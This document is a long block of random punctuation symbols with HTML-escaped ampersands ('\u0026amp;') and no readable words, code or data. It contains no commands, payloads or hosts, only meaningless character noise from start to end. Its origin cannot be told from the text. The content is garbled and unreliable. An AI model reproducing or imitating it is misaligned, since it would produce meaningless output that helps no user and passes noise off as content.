}[}}*{)%\u0026amp;]}}+*!$%$[}[@[}%*^{%(^])\u0026amp;\u0026amp;_[*)+%*!%^[*()[)#%_!{]}%@)_\u0026amp;@#$%\u0026amp;(*+)#(]$\u0026amp;!_* [#){*%+}(+#@*[[_!)^%*%\u0026amp;_#_(%^^$}*(_)(@+(#+*!+*+_^$\u0026amp;($+$\u0026amp;{@[@]{%*!*_{}^%$%^@%%\u0026amp;+} ((^+@{$}(^$$}%()({{^#{]]{{#){\u0026amp;%[!+*[)#%$}*]+}+%{))[((##__$^*%{#_$#(^)){%}*@#(%** {!]^!@[$)++%@}+]]{]+@#!*]{)+!}!+_@{*@__##]\u0026amp;$)#%{[#![{%+_)\u0026amp;_#**]#$]_#!*@]*\u0026amp;(@})(] ^_+#+$({}@%{^%*#()(^@%$^%%]#}\u0026amp;^)_{%(!$)]{@(#)*@}$\u0026amp;(){*%+](_+}#)(_!@*$@$]$)@%{*%$ $*!{\u0026amp;$$@$@+\u0026amp;)#}}}[{){}([+__+_+](_)@++^%[!*)(+(%}}+%@%!)#$*[$@)$+){_!@*}!]]{{++[} \u0026amp;@\u0026amp;\u0026amp;(%*#$!^)*_({))]*(^)_^_%_@%(@)]]!_!)\u0026amp;%{[(]*+^+#*#^%)*[]#[[}@$%#{{^#_+[[@+)@+) +!+__#[]{*)^#%}()]}**$!%[$!*(+[}!)}+(_($@)[#(}*(]#{}{[!{)^@*%*[!!\u0026amp;$$\u0026amp;({%)+{#@]}} %[)[\u0026amp;(*%[)!)}$\u0026amp;$%@{*#${{⁠%\u0026amp;[#}%@#}@!!*@*)(%(!_*(+]^\u0026amp;{_{_(@}#)[}#%%^*%](_)+*@^{\u0026amp;{@ !{!_*#*[*^(*%_@\u0026amp;_^]^^#!((!*#{#]#(%!{)]#++@@_\u0026amp;}\u0026amp;@+_}+\u0026amp;!#$${^^_(^%_+\u0026amp;)!@*[(])])\u0026amp;+_ [({*%\u0026amp;[%!@\u0026amp;\u0026amp;\u0026amp;_*#_@{_*]@\u0026amp;$+)}(\u0026amp;)+(#]^}{#%\u0026amp;([^^%{^}){$#](^##^%*%\u0026amp;#%#$#}*@#!$#}+]!! \u0026amp;*+!^%@]^\u0026amp;\u0026amp;++[[$}+@_%)]$_}*@*[%\u0026amp;*$}%\u0026amp;$)*#*%[^@!#@%!)}_![_%(}!$(*_$!*]+)@]}@(@{#^ [}+{[]#@)@^{!(@_]][#}+@\u0026amp;$$#)$*_!_[@**{^(+$$)!!$!](}!)+)^!}](+_{({!{[{}+%)$)@$%$[ $(@^*)@!^^!}#*@]%!^(@{}_!@]\u0026amp;^#({}{](*){+}[_}_($+@}+]@[^*!@]++_%*{^*\u0026amp;+[%*{})%_+\u0026amp;\u0026amp; @{@!+%*#)@^%#$\u0026amp;}^){[){]}]%*{+)\u0026amp;+)#}*#![())@\u0026amp;#+!*))]%@[$$^+%#}+_!}{#((}@+]]%$)%#% $]\u0026amp;]{\u0026amp;%^}^(\u0026amp;[}%]#!][}_]+$)${^%[#{)#\u0026amp;$+!^%@%%_]%_*\u0026amp;*!_!]{%+@]\u0026amp;%(*[_^(_[!$]!){!*[+ #$!(}$)#\u0026amp;}^](%!(^_$]*_@!^{]+)_(*^{^{\u0026amp;@(_#(!+!}+%${+_){%!@%++_\u0026amp;)}@}^_)+___*\u0026amp;](!}[ !}(%%@_+}{(]$+@[+%_+$%){#[{[++\u0026amp;)\u0026amp;\u0026amp;^\u0026amp;@\u0026amp;*%\u0026amp;\u0026amp;}@@{^!*^((@]^^{}($}_$_]@[\u0026amp;]%++$[^#]{]^ ^{_@%#__%{\u0026amp;%]%_{}++!_]}_][$+@**$^^{_@]){@)}[)!__@_$}%_$}^\u0026amp;!}^@%%+{\u0026amp;^][})@*%(]+([ [!!){[{]]@^_)*!!%@(}}^^}!@$^_${#*_@]]}@}\u0026amp;[*\u0026amp;@%[#*$]_(*%++\u0026amp;$+))}_}+{_!^@\u0026amp;)${%*}{) @)]+#(}(*_!*]%$@)_][)]_%#{$[!%$_@)]#@]*$$}[#$\u0026amp;+\u0026amp;%$[{*@^$_%$@([$}[%%_(_\u0026amp;!^$#((!(^ {!!+!^+{@$(^^@#(]$($#]_]!%[*#%\u0026amp;_[%]]]*@^(})){!_@_#(*![@}}}$[$]^@_%%}{(\u0026amp;[})!!#}!) ]*%!]!\u0026amp;{%+%@{_}*#_@$)^{{]\u0026amp;\u0026amp;^]{+)@(\u0026amp;+!\u0026amp;@_*@}^@}%(]@$}${_}{#*)!@!*)@%(%$*}(]#\u0026amp;\u0026amp;{\u0026amp;+ }!(*+[)!}}_*_$*@($+]+#+{)%_!{%^!{]^]_{([*))!^\u0026amp;))@\u0026amp;}*!_#^++{)]$#)}(#)%))+)+$})#(+ ^{+))%$_%]$\u0026amp;{#+(+!+_\u0026amp;!{^(@]}(@)^$$@@+_$#@^_){%)#*]+][$\u0026amp;(\u0026amp;\u0026amp;\u0026amp;*$_*{*$#(*^\u0026amp;*(_%%^*++ $(\u0026amp;#[{@*#{]_@!(}#${)(!#@+#{^@_^${[+]*(![$(_{$%+(!+(!}[\u0026amp;)((((*^)^@%+![!_{][#%++*_ \u0026amp;[\u0026amp;%)$![(]#$+@@*#_}@]\u0026amp;^@@%+{%(+(+![@))#{$*]{}+{[*!(^_^}]%#]%+[@*_\u0026amp;\u0026amp;+#}^[@[\u0026amp;$_]@} ^[})![*(\u0026amp;{#{\u0026amp;+}(^[)\u0026amp;_%[@*_)(@()!(^)^((({})^}_\u0026amp;]*#[*^[@^+{$\u0026amp;#[{[^%\u0026amp;_\u0026amp;)*{[+!^(\u0026amp;{*@ !)%\u0026amp;}{^\u0026amp;[{{!%{}([+](!*$]#\u0026amp;+++%+($*[({_$}!*^_[%{*(+###^^{(_$}(\u0026amp;}@}}(@)]*%)!\u0026amp;_%^[) #^+%]#*%{#[%@*@]{$*_$*!}^)}%!{)[))+@[%}$_#@+!_+^!}{{#^!)[+!\u0026amp;($![!@#!^}}{^@*$[]#! %+{+*)+#@@\u0026amp;([[((@)##%@)!^[$^}(##[}))%%([^*+${)(@[}$[\u0026amp;)%@[$])](!]]{@+)(\u0026amp;*#*@\u0026amp;]+[^ )]{$%$$}^^}\u0026amp;\u0026amp;^]\u0026amp;(%@*!)%[!})\u0026amp;(!_^]%*[\u0026amp;)#\u0026amp;!^+@(#%+@+{*%}^]$!)]{}]{\u0026amp;@]]$]#$_[${*@%{ (^$][(@))(!{(#))%+{{{+#{]{^}\u0026amp;#\u0026amp;+%_@#$%]_\u0026amp;($[!!}]++{%%(#%^(%+*_#^#[*!+\u0026amp;$!]_(@%^_] $!^#){]%}*_%\u0026amp;@$$[*[\u0026amp;{*@[^}+\u0026amp;)_{+])}][]))%%([[[}[_%}!}[^(}^{{⁠%![@+]][*+{^[}+++![( )$\u0026amp;]_+#[+}({#+}*{)[+[[([@})+^{^{*%[#{^$@#@]][}{{⁠%\u0026amp;]#_{(%#@${)]]*(}(]$}\u0026amp;\u0026amp;@*\u0026amp;+@](# _^({%+\u0026amp;^\u0026amp;}((_#${+](+]}@!]}#($${{!}[}}$[}{$}#*((}%[){*%+^}]%+](}\u0026amp;\u0026amp;%][!#$]#[+@\u0026amp;\u0026amp;{_ *}\u0026amp;!)%)%%*{#%%@__[_+%^@\u0026amp;$#@(%*+^$_[)%({*$()(]@*[^_*%}*%]%[%+#_))^@(+$#_+\u0026amp;(_@]$\u0026amp;@ *{}_^@){)*((](@${}[%!)_+!!%^*\u0026amp;${([^+$**^_{*](\u0026amp;({^%![\u0026amp;_$%!]\u0026amp;%%[@]}}%!^^$%@}]@%(!* +%(*$[\u0026amp;@]*(\u0026amp;@[#{_%!^{)!*!@_]^[(}*]}(!]__{)!**}(!}++[$+([!]*()${){+%_(!\u0026amp;[{*]])#]\u0026amp; ++(_$%_!])$))((_^+[_\u0026amp;++@_$}%*!\u0026amp;}\u0026amp;[%@@_})@%)[{})^{*%@]$]!#%*#%%*%+*\u0026amp;{^*\u0026amp;](^}#*!*_ #_%@([]^*][%!{@)#}[])($[]*()_*[@)^\u0026amp;!%+]%%]\u0026amp;{(^{{⁠%[!!!!_#+!@$]\u0026amp;#(({!_*]]+{#**^*\u0026amp;) $!$(#[*}+}*__$]!])#$!}]\u0026amp;{]_\u0026amp;#*_[^\u0026amp;}(@*[##^*!{)[+[(}_\u0026amp;@+\u0026amp;+\u0026amp;_(#@[{^*[]}${^*{!@+$^$ #^]$}((\u0026amp;){#@^*}_#]##\u0026amp;@@![@$[#^@{{#@](+^+^[)}^@%)@}{*_{\u0026amp;+[\u0026amp;}}{@+(#+{#]@#^!(%}))}^ {__\u0026amp;(]\u0026amp;#$@\u0026amp;!@((${))_^!][$)%@\u0026amp;%(\u0026amp;_]]^)$@$(]}\u0026amp;$)}}$)(([\u0026amp;{){%{%{^#!%+)*}#@_%{%*#@[@ (%{^}(@$$(^_]($)]_*}\u0026amp;+{^$%!%@$)!#$+(!*^}\u0026amp;(*!(+!$_^#}!*\u0026amp;@_%%{#!$+)]@{}((__$}{[!(@ #[](]$!_#%}\u0026amp;][!!\u0026amp;***(#(@(!@!+)\u0026amp;!\u0026amp;(*$+@#$\u0026amp;]@^_}{((^!@!_[^)##@([\u0026amp;]()[}()+!(+!]#@[\u0026amp; }[}*(+)[*$*@_}[+\u0026amp;\u0026amp;}**_+]+]+#*$(%)%}[+{)*[{)^#%$]}}(^[{%]%#+[$%\u0026amp;*#][++}\u0026amp;)@^^]\u0026amp;([( *}]#!_@(!$)@)]\u0026amp;^[_@{+%@($\u0026amp;#{$%@{#!(}(@[^[#__[!]}$+#__*\u0026amp;#^+[#]\u0026amp;%({@_(%}^[]!)$\u0026amp;}]$ \u0026amp;\u0026amp;*\u0026amp;(){[+#%($]^\u0026amp;[($(@$^*[^%](*#[$_*{\u0026amp;{!_#*}$\u0026amp;]\u0026amp;}^}_[}{@*(!@**^!()]#%$[^}\u0026amp;]%}}^%} ^^$*[$+*![%++({\u0026amp;^^_@{[)_([@*#)\u0026amp;_+$\u0026amp;{[{(+[}^_!_^#}++*$$+^)}%]@*#(}%^!)^\u0026amp;)_{)\u0026amp;\u0026amp;@][ @@\u0026amp;}}![+!%{+*#}(#[%*#@)\u0026amp;$(@(_$(]}]{%\u0026amp;]^)\u0026amp;}]_#$@(_})$$^]**\u0026amp;$_%!!##)+(%($([!\u0026amp;$[@$} (^][\u0026amp;}$]##({[)^$[*}@*)(^]$+($$+]+[]\u0026amp;!\u0026amp;*(}$]\u0026amp;[}{_^}#]*+!!}{__^+${%%!*{*}})\u0026amp;](+^{^ _(*#*^}*}{]++_([##$%\u0026amp;[$%]**#$!}%[)\u0026amp;(](!((*_(\u0026amp;_]][(_!{_@]!%@+_){+)]@\u0026amp;[{[(_$()\u0026amp;)[# [_(*@*_)([_\u0026amp;![+}\u0026amp;\u0026amp;\u0026amp;)!($@*\u0026amp;[\u0026amp;#$}$\u0026amp;(\u0026amp;!{(^\u0026amp;*[^+!+\u0026amp;${}*!(*+*^\u0026amp;({+%*({+@_[*+$![^!!^[+ })$(*@{](%***+@\u0026amp;!_}*]#!}(^%!$%$()\u0026amp;{$)@@[}*\u0026amp;+!(##^+#*$#*)(}{(_]@%!@!)!%%[%%$*$$#( }!_+*!(^!@[$)_{[@{@}%%@^##$*[#++_(]#}!)!^_%%][[}#{}*[[$#!{*(+)$$}@^{^$$$+]^]$}$% ))@[}@][_((_%@+#_{@)#_*)_*]@%$)!!\u0026amp;!_)\u0026amp;%(}{[#++*}!]{)_$[\u0026amp;([!^[){{{+]%@%[)\u0026amp;@](^}(% [(@(**__*{$$%}}!#@+@\u0026amp;$!_#!@]@)]{+]\u0026amp;))(^_}[%}#@^\u0026amp;{\u0026amp;_({+_[_()()}__+##+_^+!)%!#[!![ @$*]^]!^}[)#%!]+$@%[^**{*+!*@{}$!]%[(*(]+)+!)}[^{+\u0026amp;{[{%{+$))(]^%(@%]}\u0026amp;_(%@$)_$+) {($#%_!%!\u0026amp;%!@^$@)}}%[_%@}$@!^*!%$^%+%)!]_[)}*{\u0026amp;%^$$)}+^!_][^}@##%#$}*!\u0026amp;*@%}*{{⁠%# $**!_$!#\u0026amp;+%@^@@#@%!#__(#[})^(}@{(]$%!@\u0026amp;\u0026amp;@*++)((@#[@]]+@@{*++$$(%}\u0026amp;_[*%#(](_!*}[# $]#%{%${!!#^!#{}@)]$[%$(\u0026amp;[!\u0026amp;#![\u0026amp;+([@*\u0026amp;@]!}[[*+)%][*}@\u0026amp;!$*]_*+++{!!*!_+%{*++#*^#} (\u0026amp;!@!+!#($@%+[))*\u0026amp;]*\u0026amp;%)$+_**%^]\u0026amp;%})+]{{{(#{$$[$[[*}$%!]!+(*%*$[[+_(}[}+}*{$)^]\u0026amp;* !#%^%^(@*\u0026amp;$(!$#$^(}+[\u0026amp;##(})$+#!(*]!]#!^{+%$(\u0026amp;**#^{!+_#}\u0026amp;%^{]$+[!\u0026amp;}^@@+*#_+#)@]$$ ]{%]{%\u0026amp;^#!@@)}*)(]_{{@^\u0026amp;)\u0026amp;(@%{@{++}_^{)]#+*)_}@)[\u0026amp;[(^\u0026amp;!}_^\u0026amp;)\u0026amp;@}*((%]][$$#$[\u0026amp;!}$@ !#\u0026amp;^^^}_^\u0026amp;!#%#$![)(]_)^}@[{[)*}[#@(*\u0026amp;#^*%*[_{)([{[(](+{^)@#\u0026amp;_%_\u0026amp;+}@^]$_@(\u0026amp;(_@![) #_!\u0026amp;_)^[[#$(^#+}@#\u0026amp;[!##_{!^![}@#+))\u0026amp;**$((*^[#]^!%^]_(_#$+^[]{)*+]!%@+@\u0026amp;+$++}((]] ]+)%]){($)$]\u0026amp;*$*]_)({#}))!]{[*+\u0026amp;%[$!#^^%#[($^*$_#^(+)^#{!#}%\u0026amp;*#^]{$)%!](*$$*%+]% ##*_{)^+@(]{_#))+*[+$#^@]+)@!*#%\u0026amp;)[{{{\u0026amp;\u0026amp;*_%}%]*(+]}[#$$)*$$$}!}*{@%!+)^]%(({+}\u0026amp;\u0026amp; [__$#)(%##*^\u0026amp;{($#+!{})#^\u0026amp;#!%^$*#]+*]*[{[*$*!^{\u0026amp;+#(@@##($!#_^*_+($$_%@[^%^[)$_$\u0026amp;{ %!\u0026amp;#*{*[\u0026amp;}](*\u0026amp;)*)!(%%#$%)[\u0026amp;_\u0026amp;]@{*%+@%@%**}\u0026amp;+]+!*][\u0026amp;^)%_^@@}#%%\u0026amp;]#$${%}_[@(%!+})) (+[#_\u0026amp;[$#%%__+{+[[([)@[}(\u0026amp;^(_$)#[\u0026amp;!)_##*{__@\u0026amp;!^@+[!_{(*%]!+^](\u0026amp;@\u0026amp;!{]{^^$)(#]%+@@ !{_]#@]\u0026amp;%((+\u0026amp;+*@^@$\u0026amp;\u0026amp;$*{+##_}\u0026amp;_(!%(^}%)#\u0026amp;_^$][]#(^@@(@+\u0026amp;(%![({}[$}_$%*]!)$#{$@[# (%%]@{$(^{$(*$(*#[^]}%%(@%@)}@[^+)$+![%[(!\u0026amp;+\u0026amp;(_*@^@_$(]_@]_[]#{^@%_!%{+][]$}__!# *[(!]{*{[^)*(%[%*!(]}%*^_}\u0026amp;[)+(*_+(#((]]}$![@%})[+__!{(#+{%!}#\u0026amp;\u0026amp;^%+*%(*$%}+_#\u0026amp;\u0026amp;* ^@_)}+$(^}(([^$\u0026amp;^((*+*!{%_[{))$$+]%_\u0026amp;%!]#{\u0026amp;!#^^%(^$_#\u0026amp;!^@]\u0026amp;*#]\u0026amp;))$])+$^](^^]))+@ \u0026amp;[($\u0026amp;}#]__%(}\u0026amp;_\u0026amp;()*(\u0026amp;#*\u0026amp;)))(%+]\u0026amp;_(*#^_{%}$@[$#*\u0026amp;]+\u0026amp;%}+^)^{}]*]_@]_\u0026amp;\u0026amp;%@!{%$^}$##$ )*^))+(}#^!(\u0026amp;([$$](*_%)$\u0026amp;(#!__%+)^@)$**%(%_]{)^)+@^!))+$@#\u0026amp;^!\u0026amp;@!^{{)##%}_{%}%[^$ \u0026amp;!]}(}]{#^##}#@[!){*!%^()!{_@{*+%_$+#*{@}]_]^}[]*[#%_!%{*(*({!)+]{})!{[!{[!#}@)} !*#)[)%(]_\u0026amp;)#%}(_\u0026amp;(*\u0026amp;$}%*$}%))}(%]]@*_}@+%]{@##(!@_+(^%\u0026amp;^]]#_(!#\u0026amp;+@(+^)^*[[!\u0026amp;+\u0026amp;* ^\u0026amp;\u0026amp;+[!_$*)}{]{!}_@_]*__*)]}(]_(]#_!_)#^!!$#**#^](!++*[)(]+(\u0026amp;*(!_^@*#]{!!}^$(_#(_ ]!__!^%}}+%)+$]_*#\u0026amp;++]##*\u0026amp;!$]}+^_*!]%])(++})!#\u0026amp;$()##!%^\u0026amp;}][)[_{\u0026amp;]]]@%(}][(]%\u0026amp;*%] !)@]{##\u0026amp;}#!][%!(^)#)]!#^!%!#_(#%]{_}%({)}%+}]()$$)$(((}*{]!_])$!)%[#{%)!}{%!@#)\u0026amp; }${}$[@$]\u0026amp;)^@**($][\u0026amp;[{{!)+@#}+[$$(+*[_}\u0026amp;@*^%]}{_[$(#{$[_!)##${[(*(^($@(^_##{#}[] %(+%{!$}(\u0026amp;$!)])}!]]))]!^)*\u0026amp;^@[%)*%}*(^{{)+_\u0026amp;%_%$$(!$$\u0026amp;({[\u0026amp;\u0026amp;)^_}#!)%$$]*))_!+]]{{ ]\u0026amp;@}^\u0026amp;[)\u0026amp;)!}!+_[$)%!!)%($)*!^[^+]\u0026amp;*[))+)^(#\u0026amp;%^+{@][(@%$!^#$^]_[(((}(})*@])@)%\u0026amp;[[ +@]{%%!\u0026amp;}%#[_^_#+)[\u0026amp;%${)[_^@{}]^\u0026amp;\u0026amp;\u0026amp;^@({#$+]]]*#[%)[_{!)%)]![[##*!]_+_(+${[@^}!#( ^^*(}\u0026amp;$]{*()!#]([%$^$[)+)!%{(__!{$$\u0026amp;%}+!*(}%#[[+}]+$$%[]*_{(^@}\u0026amp;@%@+((*!@[%+[+)# !!_$@@+%@*%]\u0026amp;#+@%%}[*\u0026amp;+!]{+\u0026amp;{}_[#_%^\u0026amp;)]{^[}^\u0026amp;+[}}^\u0026amp;}+*[[{\u0026amp;}[^\u0026amp;{[}!+[(_%)!){(^__( ^%\u0026amp;@%@#!%@$*(*([([\u0026amp;}$_{+**%\u0026amp;%%\u0026amp;^![#]^[_}#[]%@]+[]\u0026amp;[}@{!^}%#%{]^#@}#})@$_}}{{}#]{ *^^[^+}(*\u0026amp;\u0026amp;^{*{[_\u0026amp;[]+^[(**}$^)+**(}]^@^{$*(]%])##+[!(_}+{($[+*@}}*[$*_@){_{_%!#) $}{@[#!(@+@^}#}(^($#{[()%\u0026amp;*%_#@\u0026amp;$[^[(@}%*$^*_%{)[](@+$*{(+![]{$%%\u0026amp;[(]__+)]^$*_^] {@[]$*({${#(%\u0026amp;+!)$^(#!}_}}%%@}^]((%{)*${([_+@^+]${)\u0026amp;+%(@)!{[(+*{[__*}*%)$\u0026amp;^$%[$) _[[%]!(\u0026amp;{({])*][{!%_)@%!%_\u0026amp;)_+(@!*)(]^{)$)^*)*{[+$#(}_]_%_*+^[_)*}(]{)}^+[\u0026amp;[@$\u0026amp;{ #^)%(+@@+#(]**[#^[!($_]^@}+]_$[!(%![$$^!#+\u0026amp;$\u0026amp;#[*{]{$!@{{]!![\u0026amp;^%}[{(_)[@**_]\u0026amp;())^ *+^_)(#!$%#{)^$%(_[^%%*(}\u0026amp;!{@#^@#)](]++%%]$^*)@+]\u0026amp;_^(^@!{%%({[([$]{}%]^*+%^*$(%^ $]_!\u0026amp;++!)*+%*)@#}!)@)_*]\u0026amp;{)[**)*[@[%{(%#)%$!*}\u0026amp;%[^]*_+{(!+\u0026amp;%(_]{#(!#)#!]]}*^+[}+ [{(%!{(*_)_[@^\u0026amp;_+\u0026amp;}@{#+^$^*$[+!+(!@+*[@!+%]_^{[][#^)([}\u0026amp;!_@_#_\u0026amp;_)!+*{$[{#^_$\u0026amp;\u0026amp;+\u0026amp; #(*+##$%$+}$]%\u0026amp;]\u0026amp;(+!+})$]![]%_]]+}@}^*^[!])@(!_[]+$*}@][!\u0026amp;)%@^_!#%^[@\u0026amp;$(^_(\u0026amp;})%} (@%@[]+%{)+([!(!@){!^_$]\u0026amp;*(+@#]#]{#)#+][#*#![[_)\u0026amp;@(\u0026amp;+$#*!_*[{\u0026amp;)](}!%+$\u0026amp;{#${}]^{+ )!{^\u0026amp;@[@$%^[!^@#*#@!%!]}$^{\u0026amp;$$*][(%$]^]\u0026amp;]@_\u0026amp;$!$[\u0026amp;\u0026amp;[^*\u0026amp;![$^}$+{_\u0026amp;!@%[%(_)]\u0026amp;^!!*_} *[^]}{{_@^^!{##%\u0026amp;]$(*_)#+{{[$++]%%+(\u0026amp;^$#!#$^\u0026amp;){!_+!@[_$@_+](%#*#!}[\u0026amp;$\u0026amp;#[{)$+#@+) %[)[+$$*}#[*${$)[%$!$)*(]([%@%#)!(^#!)[]@]{)}*(#(){^%)@${$#}])@^(@#!}^(\u0026amp;]%_]^@@$ _%+[%\u0026amp;{_(($+[_!#)]+*)[^\u0026amp;*%$*^]!^+{\u0026amp;*%{^(%))[(]}$\u0026amp;})($\u0026amp;@((%#[)_%^]_#{**}+\u0026amp;[**_\u0026amp;[[ ](+]\u0026amp;}\u0026amp;#[!#[)^^}@^)+\u0026amp;(\u0026amp;@[\u0026amp;!!)$]*{{$**)^(*[)$#}*)_{@(}\u0026amp;^$#([((*_]\u0026amp;^[!+()(\u0026amp;)(^]#*% ]{(\u0026amp;!!%+#^^!#}@@\u0026amp;+[{@@$^{+%%{{!}**%!*+_#!_([(!*%!@)(!@)[+*!!*_+_[%_}]\u0026amp;)$^{!)+!*] )_)\u0026amp;*]!{]($\u0026amp;[\u0026amp;*(*##{^%*_#!\u0026amp;}}{)%#}^@#@%$\u0026amp;]($(_@[{##})^(%+%)$(_[#@_)[){@[@)+)#]+^ %{[!])]^]_[%%]{\u0026amp;%#{!*_$[%@}@^]@)!#(\u0026amp;#{(#(_{([+@)%!@(@[$$_$_!@_$\u0026amp;[))*}){+(]}(*^[) %!@!!!%{[(}{$$@%$}+#)*[^$}({)*{(@*(%]\u0026amp;%#%)\u0026amp;+[+$[]*{%)$$##)+}}!+@!%_$#+#!)[\u0026amp;%{*!@ #\u0026amp;\u0026amp;{{^+[}@$$)]*{!_]#}+^{}*%*$[$)@@^_!*^#*(+}_()$@%$#){_!{_%!${_^!}}!^$#_]$)^]*)] ]{++}(!}}%@*[!{**_+^#^!(+%[^){_\u0026amp;\u0026amp;($!(!!@*){_)[]$($}@[\u0026amp;$!![_#+}[}%#@\u0026amp;+%%}*{[@#\u0026amp;)( ]#!_][+{[^![_([\u0026amp;{})$*({**@+#]+%#(}(^!+@\u0026amp;}]$[{*#++{\u0026amp;^@}\u0026amp;@!)_^{%[})))%%\u0026amp;((#}{#]@*% @+$%_[(((!\u0026amp;{@^#[$#$@@)_}^){}%_**){^$+)*$+[%!)^%#}\u0026amp;)(@^_}}[+_[}\u0026amp;@#!*$+!\u0026amp;}[_})*[_) +*({}{*\u0026amp;($(})@]+#_{!!@*%^_$+#($(}%}\u0026amp;[!*}[$^{(*#[#%+}%${}^*[#\u0026amp;{!\u0026amp;@(%^^{+_}@{*[%!! ]_]{}{*\u0026amp;%([){$@*$_$+^\u0026amp;!_()}}[!${^{}@\u0026amp;+}#(*!}@+[*[*(*[%!^*+$]^[)${*@#]_@(+%[)$#!] }#%}+))(}+$)]@$^*$^$+^[#${*#%]{)@$@(_@%(@#+$]+(({@!#$__\u0026amp;*[[*}[!!+#%%%*(*%}%*}(*+ @^+(}{)#_}^)[$%}+]^}$()@#%#{!*{!(%%[!(\u0026amp;_![_#)_]{((!]%+^(#@[!]%}]%+@[)^@^]#}[{$(_ #_{+[)^}))%%#!*{+[+}\u0026amp;%_$@!_)@$)*{]*[\u0026amp;^!{\u0026amp;}$%([$]+)}#$@#]}\u0026amp;*@$+_($])#_(#+[+@*${*^ !%!!^\u0026amp;*^+{*(*@$((]_$_*+]!{%^$)#__]*+@(__$%\u0026amp;#]@#]%(}$*)#*!(^#_]\u0026amp;\u0026amp;))(+]@%(_{__+%)! +}\u0026amp;(%*!]][!\u0026amp;)$}([)$@{*{{##+\u0026amp;\u0026amp;@_]%(*+(\u0026amp;@_@)*$}^#[+!@%_$@{\u0026amp;!]+\u0026amp;){{(\u0026amp;{]#\u0026amp;*!@}*[%[@+ }[+]](]_(#*{#*\u0026amp;%_*@$!_)^!*%#^+$*](*{$!{#)]^!}{+)^}][^%(%@({)}\u0026amp;_}+]!}%)}{}\u0026amp;$%$\u0026amp;{^ {+[@#@$)@[])__$^\u0026amp;++]+(%*[#]%#@([#]({#%\u0026amp;%%^+\u0026amp;+(](@}@{@*([$)%%}\u0026amp;$%[+[[(@![#@!)(!*_ [](\u0026amp;#^!(@$]**_\u0026amp;*#!_[$]#__+$_$!$}[](!({{}%[^@\u0026amp;\u0026amp;{+{}}%+(%%%#)#]*!][_][}$+[)#)$\u0026amp;**) )[*#\u0026amp;#(***+@{}^@$$!]\u0026amp;+%\u0026amp;\u0026amp;$]##!@)%@#!}}%%_*%[^)]%{%)%^[}}[+}#+*({_*%*!]({#}+!*_)# *]([*$@+!_#\u0026amp;@#)}\u0026amp;!(%)}{(+!)]{_^#{+%}{[!^(+@!++$)}{[_@[)$]_)%#*+{)})($**{{]\u0026amp;^*_^% [)@#!}%!+$\u0026amp;@]@_\u0026amp;+*$[$_(\u0026amp;(}@)()_^([%!^^*_+*}^))#))$!!]$}^(#\u0026amp;#$$[}^_!]){^%[]^\u0026amp;_(** ^!{_!!%])[__^)^%}_^))_($@\u0026amp;$*#\u0026amp;+#)!}[@%+%(\u0026amp;\u0026amp;$$%#++%^%}+$_%%!_(@(+!@$[}^]]!*^}#_{{ *{*\u0026amp;$}$+@[!@\u0026amp;)])[{%]^($]%\u0026amp;#^+\u0026amp;{[[(\u0026amp;^]#{}{}*!{_!*+_\u0026amp;)(]%_\u0026amp;__$@{]_)^#_+{*[+[^($^[@ )(+%_\u0026amp;($]$){!#_%$!)$(^$%)^[_*$$*#{([^$_]%{%%+@]^{)}]+%$^%[)@^+(+}_+)$#)##][\u0026amp;{^$^ #}@}%]+*}{^)*$)^!#)%()#)]$*@*(\u0026amp;}$#%\u0026amp;%]#*%{##^_(*(][$[_$@${#\u0026amp;%)#%%\u0026amp;}]^_%*_@!)\u0026amp;%}_ (%*@!}{%@@)^}#\u0026amp;}\u0026amp;{%__{@^*}#)([+![]\u0026amp;_%@#$%^![}](_%]$_}*\u0026amp;^}$)*)}}{$[@+{^%*(@#[\u0026amp;[!^ (*+%}(^(%!%^!+)!!)[#+_^+{+)]+^$%}{_]^@*@%#*#*%[^){([*[__##$)\u0026amp;{\u0026amp;+_)%$^}_@{^__)%[) +^_[)!$]^#(+^)%(}!]\u0026amp;__[]^!@}}@{*+!*!_*+%($^$}}[()]_!)(*)[\u0026amp;(+!(([#)+[%^(\u0026amp;}$\u0026amp;_}[{} (%*!+[+[^[#][}@+!^*^%[}$]@!%%(%[[(#_+{#({@{\u0026amp;[$_%)+$%}@{_+[{}+]![}@]+[#{{]))}+#[* #]**@$@@+_@)[\u0026amp;[#$+]\u0026amp;]\u0026amp;*$()[#^})()$$#^*+^+%]}^]]\u0026amp;%(#}\u0026amp;(+!%]%]](!#+}$%^_^^@{}+*\u0026amp;}_ _%{#*!{!@]@${%!_$}#_@_#(!(^!#_*#_$\u0026amp;@(@^]_@%)!^\u0026amp;^\u0026amp;{%)({+}}_{%%]%^{\u0026amp;\u0026amp;^@_@\u0026amp;\u0026amp;^[](}(] _\u0026amp;\u0026amp;^(#_])*)+_]!+\u0026amp;)$%+[](){)+_#*_#[[[%$!^#!!$(_^}(#%({%$!_}$}(()$]!\u0026amp;]}^^)+\u0026amp;+!@%$@ #[_$%!(\u0026amp;[!]@[#]{{*]*(@{+\u0026amp;#_^*[!\u0026amp;)#$_)%[!\u0026amp;!))%@\u0026amp;{[)@![[^[+}\u0026amp;#*$*}+!*\u0026amp;{@(%\u0026amp;}[$^\u0026amp;%_ !!!$+]\u0026amp;@})%%[@[\u0026amp;%!($_)@[}({_[$#}^}@)(%%^^*\u0026amp;\u0026amp;+]%]\u0026amp;$_#^!$!(_$%}*_$_!#!_@^^)${*)%+! $})\u0026amp;}*}#\u0026amp;([[+^[)*#\u0026amp;%}+[*_+!!\u0026amp;_@%!^##\u0026amp;\u0026amp;{#%@{{*%_+%_{(\u0026amp;#+{[[[*$(%\u0026amp;}(()#)[!%)%@\u0026amp;{[# +_%(()!!$\u0026amp;(+{{@*(!*!\u0026amp;^#^!(}+{[@^}*%)]#%(!^!]@]!{!{_%!!)#@!_*_#$$})}%\u0026amp;[)[!\u0026amp;*{@]_! +{%_+]+(+}%#_[)+#%%$+@{([]#^_$#@(}%$]#\u0026amp;^#%%\u0026amp;$%(+()+_}!\u0026amp;}^\u0026amp;*)}]*+]]]*_{%(!][}[_{} {{(^[!\u0026amp;{!]$\u0026amp;(]]+%^%%{@}_{%@+%+[(^}\u0026amp;@#+^^@^])\u0026amp;!@}])$+$}[)![^%$@_[}(%@$![!+}#@+{\u0026amp;) ^*\u0026amp;_^%+{^{$+$[^_*)*++%^++#%#%*^$*@+${!+%@!}^q(%!({@]%@]]@\u0026amp;#^$[\u0026amp;![(**${)]*^))[$}# _*^}[}+]{_([#_*)@}{#)@$__!_(^_!{]++$(\u0026amp;)*(}{}_!^*!!++}(_+}$()@%\u0026amp;#{]]+_!$\u0026amp;+#\u0026amp;[{$^$ 